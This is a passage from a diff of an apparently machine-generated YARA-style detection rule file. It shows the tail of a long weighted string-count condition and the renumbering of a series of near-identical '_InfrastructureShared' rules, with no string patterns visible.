1)*10+(#a_01_205 & 1)*10+(#a_01_206 & 1)*10+(#a_01_207 & 1)*10+(#a_01_208 & 1)*10+(#a_01_209 & 1)*10+(#a_01_210 & 1)*10+(#a_01_211 & 1)*10+(#a_01_212 & 1)*10+(#a_01_213 & 1)*10+(#a_01_214 & 1)*10+(#a_01_215 & 1)*10+(#a_01_216 & 1)*10+(#a_01_217 & 1)*10+(#a_01_218 & 1)*10+(#a_01_219 & 1)*10+(#a_01_220 & 1)*10+(#a_01_221 & 1)*10+(#a_01_222 & 1)*10+(#a_01_223 & 1)*10+(#a_01_224 & 1)*10+(#a_01_225 & 1)*10+(#a_01_226 & 1)*10+(#a_01_227 & 1)*10+(#a_01_228 & 1)*10+(#a_01_229 & 1)*10+(#a_01_230 & 1)*10+(#a_01_231 & 1)*10+(#a_01_232 & 1)*10+(#a_01_233 & 1)*10+(#a_01_234 & 1)*10+(#a_01_235 & 1)*10+(#a_01_236 & 1)*10+(#a_01_237 & 1)*10+(#a_01_238 & 1)*10+(#a_01_239 & 1)*10+(#a_01_240 & 1)*10+(#a_01_241 & 1)*10+(#a_01_242 & 1)*10+(#a_01_243 & 1)*10+(#a_01_244 & 1)*10+(#a_01_245 & 1)*10+(#a_01_246 & 1)*10+(#a_01_247 & 1)*10+(#a_01_248 & 1)*10+(#a_01_249 & 1)*10+(#a_01_250 & 1)*10+(#a_01_251 & 1)*10+(#a_01_252 & 1)*10+(#a_01_253 & 1)*10+(#a_01_254 & 1)*10+(#a_01_255 & 1)*10+(#a_01_256 & 1)*10+(#a_01_257 & 1)*10+(#a_01_258 & 1)*10+(#a_01_259 & 1)*10+(#a_01_260 & 1)*10+(#a_01_261 & 1)*10+(#a_01_262 & 1)*10+(#a_01_263 & 1)*10+(#a_01_264 & 1)*10+(#a_01_265 & 1)*10+(#a_01_266 & 1)*10+(#a_01_267 & 1)*10+(#a_01_268 & 1)*10+(#a_01_269 & 1)*10+(#a_01_270 & 1)*10+(#a_01_271 & 1)*10+(#a_01_272 & 1)*10+(#a_01_273 & 1)*10+(#a_01_274 & 1)*10+(#a_01_275 & 1)*10+(#a_01_276 & 1)*10+(#a_01_277 & 1)*10+(#a_01_278 & 1)*10+(#a_01_279 & 1)*10+(#a_01_280 & 1)*10+(#a_01_281 & 1)*10+(#a_01_282 & 1)*10+(#a_01_283 & 1)*10+(#a_01_284 & 1)*10+(#a_01_285 & 1)*10+(#a_01_286 & 1)*10+(#a_01_287 & 1)*10+(#a_01_288 & 1)*10+(#a_01_289 & 1)*10+(#a_01_290 & 1)*10+(#a_01_291 & 1)*10+(#a_01_292 & 1)*10+(#a_01_293 & 1)*10+(#a_01_294 & 1)*10+(#a_01_295 & 1)*10+(#a_01_296 & 1)*10+(#a_01_297 & 1)*10+(#a_01_298 & 1)*10+(#a_01_299 & 1)*10+(#a_01_300 & 1)*10+(#a_01_301 & 1)*10+(#a_01_302 & 1)*10+(#a_01_303 & 1)*10+(#a_01_304 & 1)*10+(#a_01_305 & 1)*10+(#a_01_306 & 1)*10+(#a_01_307 & 1)*10+(#a_01_308 & 1)*10+(#a_01_309 & 1)*10+(#a_01_310 & 1)*10+(#a_01_311 & 1)*10+(#a_01_312 & 1)*10+(#a_01_313 & 1)*10+(#a_01_314 & 1)*10+(#a_01_315 & 1)*10+(#a_01_316 & 1)*10+(#a_01_317 & 1)*10+(#a_01_318 & 1)*10+(#a_01_319 & 1)*10+(#a_01_320 & 1)*10+(#a_01_321 & 1)*10+(#a_01_322 & 1)*10+(#a_01_323 & 1)*10+(#a_01_324 & 1)*10+(#a_01_325 & 1)*10+(#a_01_326 & 1)*10+(#a_01_327 & 1)*10+(#a_01_328 & 1)*10+(#a_01_329 & 1)*10+(#a_01_330 & 1)*10+(#a_01_331 & 1)*10+(#a_01_332 & 1)*10+(#a_01_333 & 1)*10+(#a_01_334 & 1)*10+(#a_01_335 & 1)*10+(#a_01_336 & 1)*10+(#a_01_337 & 1)*10+(#a_01_338 & 1)*10+(#a_01_339 & 1)*10+(#a_01_340 & 1)*10+(#a_01_341 & 1)*10+(#a_01_342 & 1)*10+(#a_01_343 & 1)*10+(#a_01_344 & 1)*10+(#a_01_345 & 1)*10+(#a_01_346 & 1)*10+(#a_01_347 & 1)*10+(#a_01_348 & 1)*10+(#a_01_349 & 1)*10+(#a_01_350 & 1)*10+(#a_01_351 & 1)*10+(#a_01_352 & 1)*10+(#a_01_353 & 1)*10+(#a_01_354 & 1)*10+(#a_01_355 & 1)*10+(#a_01_356 & 1)*10+(#a_01_357 & 1)*10+(#a_01_358 & 1)*10+(#a_01_359 & 1)*10+(#a_01_360 & 1)*10+(#a_01_361 & 1)*10+(#a_01_362 & 1)*10+(#a_01_363 & 1)*10+(#a_01_364 & 1)*10+(#a_01_365 & 1)*10+(#a_01_366 & 1)*10+(#a_01_367 & 1)*10+(#a_01_368 & 1)*10+(#a_01_369 & 1)*10+(#a_01_370 & 1)*10+(#a_01_371 & 1)*10+(#a_01_372 & 1)*10+(#a_01_373 & 1)*10+(#a_01_374 & 1)*10+(#a_01_375 & 1)*10+(#a_01_376 & 1)*10+(#a_01_377 & 1)*10+(#a_01_378 & 1)*10+(#a_01_379 & 1)*10+(#a_01_380 & 1)*10+(#a_01_381 & 1)*10+(#a_01_382 & 1)*10+(#a_01_383 & 1)*10+(#a_01_384 & 1)*10+(#a_01_385 & 1)*10+(#a_01_386 & 1)*10+(#a_01_387 & 1)*10+(#a_01_388 & 1)*10+(#a_01_389 & 1)*10+(#a_01_390 & 1)*10+(#a_01_391 & 1)*10+(#a_01_392 & 1)*10+(#a_01_393 & 1)*10+(#a_01_394 & 1)*10+(#a_01_395 & 1)*10+(#a_01_396 & 1)*10+(#a_01_397 & 1)*10+(#a_01_398 & 1)*10+(#a_01_399 & 1)*10+(#a_01_400 & 1)*10+(#a_01_401 & 1)*10+(#a_01_402 & 1)*10+(#a_01_403 & 1)*10+(#a_01_404 & 1)*10+(#a_01_405 & 1)*10+(#a_01_406 & 1)*10+(#a_01_407 & 1)*10+(#a_01_408 & 1)*10+(#a_01_409 & 1)*10+(#a_01_410 & 1)*10+(#a_01_411 & 1)*10+(#a_01_412 & 1)*10+(#a_01_413 & 1)*10+(#a_01_414 & 1)*10+(#a_01_415 & 1)*10+(#a_01_416 & 1)*10+(#a_01_417 & 1)*10+(#a_01_418 & 1)*10+(#a_01_419 & 1)*10+(#a_01_420 & 1)*10+(#a_01_421 & 1)*10+(#a_01_422 & 1)*10+(#a_01_423 & 1)*10+(#a_01_424 & 1)*10+(#a_01_425 & 1)*10+(#a_01_426 & 1)*10+(#a_01_427 & 1)*10+(#a_01_428 & 1)*10+(#a_01_429 & 1)*10+(#a_01_430 & 1)*10+(#a_01_431 & 1)*10+(#a_01_432 & 1)*10+(#a_01_433 & 1)*10+(#a_01_434 & 1)*10+(#a_01_435 & 1)*10+(#a_01_436 & 1)*10+(#a_01_437 & 1)*10+(#a_01_438 & 1)*10+(#a_01_439 & 1)*10+(#a_01_440 & 1)*10+(#a_01_441 & 1)*10+(#a_01_442 & 1)*10+(#a_01_443 & 1)*10+(#a_01_444 & 1)*10+(#a_01_445 & 1)*10+(#a_01_446 & 1)*10+(#a_01_447 & 1)*10+(#a_01_448 & 1)*10+(#a_01_449 & 1)*10+(#a_01_450 & 1)*10+(#a_01_451 & 1)*10+(#a_01_452 & 1)*10+(#a_01_453 & 1)*10+(#a_01_454 & 1)*10+(#a_01_455 & 1)*10+(#a_01_456 & 1)*10+(#a_01_457 & 1)*10+(#a_01_458 & 1)*10+(#a_01_459 & 1)*10+(#a_01_460 & 1)*10+(#a_01_461 & 1)*10+(#a_01_462 & 1)*10+(#a_01_463 & 1)*10+(#a_01_464 & 1)*10+(#a_01_465 & 1)*10+(#a_01_466 & 1)*10+(#a_01_467 & 1)*10+(#a_01_468 & 1)*10+(#a_01_469 & 1)*10+(#a_01_470 & 1)*10+(#a_01_471 & 1)*10+(#a_01_472 & 1)*10+(#a_01_473 & 1)*10+(#a_01_474 & 1)*10+(#a_01_475 & 1)*10+(#a_01_476 & 1)*10+(#a_01_477 & 1)*10+(#a_01_478 & 1)*10+(#a_01_479 & 1)*10+(#a_01_480 & 1)*10+(#a_01_481 & 1)*10+(#a_01_482 & 1)*10+(#a_01_483 & 1)*10+(#a_01_484 & 1)*10+(#a_01_485 & 1)*10+(#a_01_486 & 1)*10+(#a_01_487 & 1)*10+(#a_01_488 & 1)*10+(#a_01_489 & 1)*10+(#a_01_490 & 1)*10+(#a_01_491 & 1)*10+(#a_01_492 & 1)*10+(#a_01_493 & 1)*10+(#a_01_494 & 1)*10+(#a_01_495 & 1)*10+(#a_01_496 & 1)*10+(#a_01_497 & 1)*10+(#a_01_498 & 1)*10+(#a_01_499 & 1)*10+(#a_01_500 & 1)*10+(#a_01_501 & 1)*10+(#a_01_502 & 1)*10+(#a_01_503 & 1)*10+(#a_01_504 & 1)*10+(#a_01_505 & 1)*10+(#a_01_506 & 1)*10+(#a_01_507 & 1)*10+(#a_01_508 & 1)*10+(#a_01_509 & 1)*10+(#a_01_510 & 1)*10+(#a_01_511 & 1)*10+(#a_01_512 & 1)*10+(#a_01_513 & 1)*10+(#a_01_514 & 1)*10+(#a_01_515 & 1)*10+(#a_01_516 & 1)*10+(#a_01_517 & 1)*10+(#a_01_518 & 1)*10+(#a_01_519 & 1)*10+(#a_01_520 & 1)*10+(#a_01_521 & 1)*10+(#a_01_522 & 1)*10+(#a_01_523 & 1)*10+(#a_01_524 & 1)*10+(#a_01_525 & 1)*10+(#a_01_526 & 1)*10+(#a_01_527 & 1)*10+(#a_01_528 & 1)*10+(#a_01_529 & 1)*10+(#a_01_530 & 1)*10+(#a_01_531 & 1)*10+(#a_01_532 & 1)*10+(#a_01_533 & 1)*10+(#a_01_534 & 1)*10+(#a_01_535 & 1)*10+(#a_01_536 & 1)*10+(#a_01_537 & 1)*10+(#a_01_538 & 1)*10+(#a_01_539 & 1)*10+(#a_01_540 & 1)*10+(#a_01_541 & 1)*10+(#a_01_542 & 1)*10+(#a_01_543 & 1)*10+(#a_01_544 & 1)*10+(#a_01_545 & 1)*10+(#a_01_546 & 1)*10+(#a_01_547 & 1)*10+(#a_01_548 & 1)*10+(#a_01_549 & 1)*10+(#a_01_550 & 1)*10+(#a_01_551 & 1)*10+(#a_01_552 & 1)*10+(#a_01_553 & 1)*10+(#a_01_554 & 1)*10+(#a_01_555 & 1)*10+(#a_01_556 & 1)*10+(#a_01_557 & 1)*10+(#a_01_558 & 1)*10+(#a_01_559 & 1)*10+(#a_01_560 & 1)*10+(#a_01_561 & 1)*10+(#a_01_562 & 1)*10+(#a_01_563 & 1)*10+(#a_01_564 & 1)*10+(#a_01_565 & 1)*10+(#a_01_566 & 1)*10+(#a_01_567 & 1)*10+(#a_01_568 & 1)*10+(#a_01_569 & 1)*10+(#a_01_570 & 1)*10+(#a_01_571 & 1)*10+(#a_01_572 & 1)*10+(#a_01_573 & 1)*10+(#a_01_574 & 1)*10+(#a_01_575 & 1)*10+(#a_01_576 & 1)*10+(#a_01_577 & 1)*10+(#a_01_578 & 1)*10+(#a_01_579 & 1)*10+(#a_01_580 & 1)*10+(#a_01_581 & 1)*10+(#a_01_582 & 1)*10+(#a_01_583 & 1)*10+(#a_01_584 & 1)*10+(#a_01_585 & 1)*10+(#a_01_586 & 1)*10+(#a_01_587 & 1)*10+(#a_01_588 & 1)*10+(#a_01_589 & 1)*10+(#a_01_590 & 1)*10+(#a_01_591 & 1)*10+(#a_01_592 & 1)*10+(#a_01_593 & 1)*10+(#a_01_594 & 1)*10+(#a_01_595 & 1)*10+(#a_01_596 & 1)*10+(#a_01_597 & 1)*10+(#a_01_598 & 1)*10+(#a_01_599 & 1)*10+(#a_01_600 & 1)*10+(#a_01_601 & 1)*10+(#a_01_602 & 1)*10+(#a_01_603 & 1)*10+(#a_01_604 & 1)*10+(#a_01_605 & 1)*10+(#a_01_606 & 1)*10+(#a_01_607 & 1)*10+(#a_01_608 & 1)*10+(#a_01_609 & 1)*10+(#a_01_610 & 1)*10+(#a_01_611 & 1)*10+(#a_01_612 & 1)*10+(#a_01_613 & 1)*10+(#a_01_614 & 1)*10+(#a_01_615 & 1)*10+(#a_01_616 & 1)*10+(#a_01_617 & 1)*10+(#a_01_618 & 1)*10+(#a_01_619 & 1)*10+(#a_01_620 & 1)*10+(#a_01_621 & 1)*10+(#a_01_622 & 1)*10+(#a_01_623 & 1)*10+(#a_01_624 & 1)*10+(#a_01_625 & 1)*10+(#a_01_626 & 1)*10+(#a_01_627 & 1)*10+(#a_01_628 & 1)*10+(#a_01_629 & 1)*10+(#a_01_630 & 1)*10+(#a_01_631 & 1)*10+(#a_01_632 & 1)*10+(#a_01_633 & 1)*10+(#a_01_634 & 1)*10+(#a_01_635 & 1)*10+(#a_01_636 & 1)*10+(#a_01_637 & 1)*10+(#a_01_638 & 1)*10+(#a_01_639 & 1)*10+(#a_01_640 & 1)*10+(#a_01_641 & 1)*10+(#a_01_642 & 1)*10+(#a_01_643 & 1)*10+(#a_01_644 & 1)*10+(#a_01_645 & 1)*10+(#a_01_646 & 1)*10+(#a_01_647 & 1)*10+(#a_01_648 & 1)*10+(#a_01_649 & 1)*10+(#a_01_650 & 1)*10+(#a_01_651 & 1)*10+(#a_01_652 & 1)*10+(#a_01_653 & 1)*10+(#a_01_654 & 1)*10+(#a_01_655 & 1)*10+(#a_01_656 & 1)*10+(#a_01_657 & 1)*10+(#a_01_658 & 1)*10+(#a_01_659 & 1)*10+(#a_01_660 & 1)*10+(#a_01_661 & 1)*10+(#a_01_662 & 1)*10+(#a_01_663 & 1)*10+(#a_01_664 & 1)*10+(#a_01_665 & 1)*10+(#a_01_666 & 1)*10+(#a_01_667 & 1)*10+(#a_01_668 & 1)*10+(#a_01_669 & 1)*10+(#a_01_670 & 1)*10+(#a_01_671 & 1)*10+(#a_01_672 & 1)*10+(#a_01_673 & 1)*10+(#a_01_674 & 1)*10+(#a_01_675 & 1)*10+(#a_01_676 & 1)*10+(#a_01_677 & 1)*10+(#a_01_678 & 1)*10+(#a_01_679 & 1)*10+(#a_01_680 & 1)*10+(#a_01_681 & 1)*10+(#a_01_682 & 1)*10+(#a_01_683 & 1)*10+(#a_01_684 & 1)*10+(#a_01_685 & 1)*10+(#a_01_686 & 1)*10+(#a_01_687 & 1)*10+(#a_01_688 & 1)*10+(#a_01_689 & 1)*10+(#a_01_690 & 1)*10+(#a_01_691 & 1)*10+(#a_01_692 & 1)*10+(#a_01_693 & 1)*10+(#a_01_694 & 1)*10+(#a_01_695 & 1)*10+(#a_01_696 & 1)*10+(#a_01_697 & 1)*10+(#a_01_698 & 1)*10+(#a_01_699 & 1)*10+(#a_01_700 & 1)*10+(#a_01_701 & 1)*10+(#a_01_702 & 1)*10+(#a_01_703 & 1)*10+(#a_01_704 & 1)*10+(#a_01_705 & 1)*10+(#a_01_706 & 1)*10+(#a_01_707 & 1)*10+(#a_01_708 & 1)*10+(#a_01_709 & 1)*10+(#a_01_710 & 1)*10+(#a_01_711 & 1)*10+(#a_01_712 & 1)*10+(#a_01_713 & 1)*10+(#a_01_714 & 1)*10+(#a_01_715 & 1)*10+(#a_01_716 & 1)*10+(#a_01_717 & 1)*10+(#a_01_718 & 1)*10+(#a_01_719 & 1)*10+(#a_01_720 & 1)*10+(#a_01_721 & 1)*10+(#a_01_722 & 1)*10+(#a_01_723 & 1)*10+(#a_01_724 & 1)*10+(#a_01_725 & 1)*10+(#a_01_726 & 1)*10+(#a_01_727 & 1)*10+(#a_01_728 & 1)*10+(#a_01_729 & 1)*10+(#a_01_730 & 1)*10+(#a_01_731 & 1)*10+(#a_01_732 & 1)*10+(#a_01_733 & 1)*10+(#a_01_734 & 1)*10+(#a_01_735 & 1)*10+(#a_01_736 & 1)*10+(#a_01_737 & 1)*10+(#a_01_738 & 1)*10+(#a_01_739 & 1)*10+(#a_01_740 & 1)*10+(#a_01_741 & 1)*10+(#a_01_742 & 1)*10+(#a_01_743 & 1)*10+(#a_01_744 & 1)*10+(#a_01_745 & 1)*10+(#a_01_746 & 1)*10+(#a_01_747 & 1)*10+(#a_01_748 & 1)*10+(#a_01_749 & 1)*10+(#a_01_750 & 1)*10+(#a_01_751 & 1)*10+(#a_01_752 & 1)*10+(#a_01_753 & 1)*10+(#a_01_754 & 1)*10+(#a_01_755 & 1)*10+(#a_01_756 & 1)*10+(#a_01_757 & 1)*10+(#a_01_758 & 1)*10+(#a_01_759 & 1)*10+(#a_01_760 & 1)*10+(#a_01_761 & 1)*10+(#a_01_762 & 1)*10+(#a_01_763 & 1)*10+(#a_01_764 & 1)*10+(#a_01_765 & 1)*10+(#a_01_766 & 1)*10+(#a_01_767 & 1)*10+(#a_01_768 & 1)*10+(#a_01_769 & 1)*10+(#a_01_770 & 1)*10+(#a_01_771 & 1)*10+(#a_01_772 & 1)*10+(#a_01_773 & 1)*10+(#a_01_774 & 1)*10+(#a_01_775 & 1)*10+(#a_01_776 & 1)*10+(#a_01_777 & 1)*10+(#a_01_778 & 1)*10+(#a_01_779 & 1)*10+(#a_01_780 & 1)*10+(#a_01_781 & 1)*10+(#a_01_782 & 1)*10+(#a_01_783 & 1)*10+(#a_01_784 & 1)*10+(#a_01_785 & 1)*10+(#a_01_786 & 1)*10+(#a_01_787 & 1)*10+(#a_01_788 & 1)*10+(#a_01_789 & 1)*10+(#a_01_790 & 1)*10+(#a_01_791 & 1)*10+(#a_01_792 & 1)*10+(#a_01_793 & 1)*10+(#a_01_794 & 1)*10+(#a_01_795 & 1)*10+(#a_01_796 & 1)*10+(#a_01_797 & 1)*10+(#a_01_798 & 1)*10+(#a_01_799 & 1)*10+(#a_01_800 & 1)*10+(#a_01_801 & 1)*10+(#a_01_802 & 1)*10+(#a_01_803 & 1)*10+(#a_01_804 & 1)*10+(#a_01_805 & 1)*10+(#a_01_806 & 1)*10+(#a_01_807 & 1)*10+(#a_01_808 & 1)*10+(#a_01_809 & 1)*10+(#a_01_810 & 1)*10+(#a_01_811 & 1)*10+(#a_01_812 & 1)*10+(#a_01_813 & 1)*10+(#a_01_814 & 1)*10+(#a_01_815 & 1)*10+(#a_01_816 & 1)*10+(#a_01_817 & 1)*10+(#a_01_818 & 1)*10+(#a_01_819 & 1)*10+(#a_01_820 & 1)*10+(#a_01_821 & 1)*10+(#a_01_822 & 1)*10+(#a_01_823 & 1)*10+(#a_01_824 & 1)*10+(#a_01_825 & 1)*10+(#a_01_826 & 1)*10+(#a_01_827 & 1)*10+(#a_01_828 & 1)*10+(#a_01_829 & 1)*10+(#a_01_830 & 1)*10+(#a_01_831 & 1)*10+(#a_01_832 & 1)*10+(#a_01_833 & 1)*10+(#a_01_834 & 1)*10+(#a_01_835 & 1)*10+(#a_01_836 & 1)*10+(#a_01_837 & 1)*10+(#a_01_838 & 1)*10+(#a_01_839 & 1)*10+(#a_01_840 & 1)*10+(#a_01_841 & 1)*10+(#a_01_842 & 1)*10+(#a_01_843 & 1)*10+(#a_01_844 & 1)*10+(#a_01_845 & 1)*10+(#a_01_846 & 1)*10+(#a_01_847 & 1)*10+(#a_01_848 & 1)*10+(#a_01_849 & 1)*10+(#a_01_850 & 1)*10+(#a_01_851 & 1)*10+(#a_01_852 & 1)*10+(#a_01_853 & 1)*10+(#a_01_854 & 1)*10+(#a_01_855 & 1)*10+(#a_01_856 & 1)*10+(#a_01_857 & 1)*10+(#a_01_858 & 1)*10+(#a_01_859 & 1)*10+(#a_01_860 & 1)*10+(#a_01_861 & 1)*10+(#a_01_862 & 1)*10+(#a_01_863 & 1)*10+(#a_01_864 & 1)*10+(#a_01_865 & 1)*10+(#a_01_866 & 1)*10+(#a_01_867 & 1)*10+(#a_01_868 & 1)*10+(#a_01_869 & 1)*10+(#a_01_870 & 1)*10+(#a_01_871 & 1)*10+(#a_01_872 & 1)*10+(#a_01_873 & 1)*10+(#a_01_874 & 1)*10+(#a_01_875 & 1)*10+(#a_01_876 & 1)*10+(#a_01_877 & 1)*10+(#a_01_878 & 1)*10+(#a_01_879 & 1)*10+(#a_01_880 & 1)*10+(#a_01_881 & 1)*10+(#a_01_882 & 1)*10+(#a_01_883 & 1)*10+(#a_01_884 & 1)*10+(#a_01_885 & 1)*10+(#a_01_886 & 1)*10+(#a_01_887 & 1)*10+(#a_01_888 & 1)*10+(#a_01_889 & 1)*10+(#a_01_890 & 1)*10+(#a_01_891 & 1)*10+(#a_01_892 & 1)*10+(#a_01_893 & 1)*10+(#a_01_894 & 1)*10+(#a_01_895 & 1)*10+(#a_01_896 & 1)*10+(#a_01_897 & 1)*10+(#a_01_898 & 1)*10+(#a_01_899 & 1)*10+(#a_01_900 & 1)*10+(#a_01_901 & 1)*10+(#a_01_902 & 1)*10+(#a_01_903 & 1)*10+(#a_01_904 & 1)*10+(#a_01_905 & 1)*10+(#a_01_906 & 1)*10+(#a_01_907 & 1)*10+(#a_01_908 & 1)*10+(#a_01_909 & 1)*10+(#a_01_910 & 1)*10+(#a_01_911 & 1)*10+(#a_01_912 & 1)*10+(#a_01_913 & 1)*10+(#a_01_914 & 1)*10+(#a_01_915 & 1)*10+(#a_01_916 & 1)*10+(#a_01_917 & 1)*10+(#a_01_918 & 1)*10+(#a_01_919 & 1)*10+(#a_01_920 & 1)*10+(#a_01_921 & 1)*10+(#a_01_922 & 1)*10+(#a_01_923 & 1)*10+(#a_01_924 & 1)*10+(#a_01_925 & 1)*10+(#a_01_926 & 1)*10+(#a_01_927 & 1)*10+(#a_01_928 & 1)*10+(#a_01_929 & 1)*10+(#a_01_930 & 1)*10+(#a_01_931 & 1)*10+(#a_01_932 & 1)*10+(#a_01_933 & 1)*10+(#a_01_934 & 1)*10+(#a_01_935 & 1)*10+(#a_01_936 & 1)*10+(#a_01_937 & 1)*10+(#a_01_938 & 1)*10+(#a_01_939 & 1)*10+(#a_01_940 & 1)*10+(#a_01_941 & 1)*10+(#a_01_942 & 1)*10+(#a_01_943 & 1)*10+(#a_01_944 & 1)*10+(#a_01_945 & 1)*10+(#a_01_946 & 1)*10+(#a_01_947 & 1)*10+(#a_01_948 & 1)*10+(#a_01_949 & 1)*10+(#a_28_950 & 1)*0+(#a_3a_951 & 1)*22081+(#a_00_953 & 1)*1+(#a_48_954 & 1)*8448+(#a_48_956 & 1)*8448+(#a_48_958 & 1)*8448+(#a_48_960 & 1)*8448+(#a_00_961 & 1)*1+(#a_48_962 & 1)*8448+(#a_00_963 & 1)*1+(#a_48_964 & 1)*8448+(#a_00_965 & 1)*1+(#a_48_966 & 1)*8448+(#a_00_967 & 1)*1+(#a_48_968 & 1)*8448+(#a_00_969 & 1)*1+(#a_48_970 & 1)*8448+(#a_00_971 & 1)*1+(#a_48_972 & 1)*8448+(#a_00_973 & 1)*1+(#a_48_974 & 1)*8448+(#a_00_975 & 1)*1+(#a_48_976 & 1)*8448+(#a_00_977 & 1)*1+(#a_48_978 & 1)*8448+(#a_00_979 & 1)*1+(#a_48_980 & 1)*8448+(#a_00_981 & 1)*1+(#a_48_982 & 1)*8448+(#a_00_983 & 1)*1+(#a_48_984 & 1)*8448+(#a_00_985 & 1)*1+(#a_48_986 & 1)*8448+(#a_00_987 & 1)*1+(#a_48_988 & 1)*8448+(#a_00_989 & 1)*1+(#a_48_990 & 1)*8448+(#a_00_991 & 1)*1+(#a_48_992 & 1)*8448+(#a_00_993 & 1)*1+(#a_48_994 & 1)*8448+(#a_00_995 & 1)*1+(#a_48_996 & 1)*8448+(#a_00_997 & 1)*1+(#a_48_998 & 1)*8448+(#a_00_999 & 1)*1+(#a_48_1000 & 1)*8448+(#a_00_1001 & 1)*1+(#a_48_1002 & 1)*8448+(#a_00_1003 & 1)*1+(#a_48_1004 & 1)*8448+(#a_00_1005 & 1)*1+(#a_48_1006 & 1)*8448+(#a_00_1007 & 1)*1+(#a_48_1008 & 1)*8448+(#a_00_1009 & 1)*1+(#a_48_1010 & 1)*8448+(#a_00_1011 & 1)*1+(#a_48_1012 & 1)*8448+(#a_00_1013 & 1)*1+(#a_48_1014 & 1)*8448+(#a_00_1015 & 1)*1+(#a_48_1016 & 1)*8448+(#a_00_1017 & 1)*1+(#a_48_1018 & 1)*8448+(#a_00_1019 & 1)*1+(#a_48_1020 & 1)*8448+(#a_00_1021 & 1)*1+(#a_48_1022 & 1)*8448) >=10 } -rule _InfrastructureShared_24910{ +rule _InfrastructureShared_26224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328792,7 +345631,7 @@ rule _InfrastructureShared_24910{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24911{ +rule _InfrastructureShared_26225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328802,7 +345641,7 @@ rule _InfrastructureShared_24911{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24912{ +rule _InfrastructureShared_26226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328812,7 +345651,7 @@ rule _InfrastructureShared_24912{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24913{ +rule _InfrastructureShared_26227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328822,7 +345661,7 @@ rule _InfrastructureShared_24913{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24914{ +rule _InfrastructureShared_26228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328832,7 +345671,7 @@ rule _InfrastructureShared_24914{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24915{ +rule _InfrastructureShared_26229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328842,7 +345681,7 @@ rule _InfrastructureShared_24915{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24916{ +rule _InfrastructureShared_26230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328852,7 +345691,7 @@ rule _InfrastructureShared_24916{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24917{ +rule _InfrastructureShared_26231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328862,7 +345701,7 @@ rule _InfrastructureShared_24917{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24918{ +rule _InfrastructureShared_26232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328872,7 +345711,7 @@ rule _InfrastructureShared_24918{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24919{ +rule _InfrastructureShared_26233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328882,7 +345721,7 @@ rule _InfrastructureShared_24919{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24920{ +rule _InfrastructureShared_26234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328892,7 +345731,7 @@ rule _InfrastructureShared_24920{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24921{ +rule _InfrastructureShared_26235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328902,7 +345741,7 @@ rule _InfrastructureShared_24921{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24922{ +rule _InfrastructureShared_26236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328912,7 +345751,7 @@ rule _InfrastructureShared_24922{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24923{ +rule _InfrastructureShared_26237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328922,7 +345761,7 @@ rule _InfrastructureShared_24923{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24924{ +rule _InfrastructureShared_26238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328932,7 +345771,7 @@ rule _InfrastructureShared_24924{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24925{ +rule _InfrastructureShared_26239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328942,7 +345781,7 @@ rule _InfrastructureShared_24925{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24926{ +rule _InfrastructureShared_26240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328952,7 +345791,7 @@ rule _InfrastructureShared_24926{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24927{ +rule _InfrastructureShared_26241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328962,7 +345801,7 @@ rule _InfrastructureShared_24927{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24928{ +rule _InfrastructureShared_26242{ meta: description = 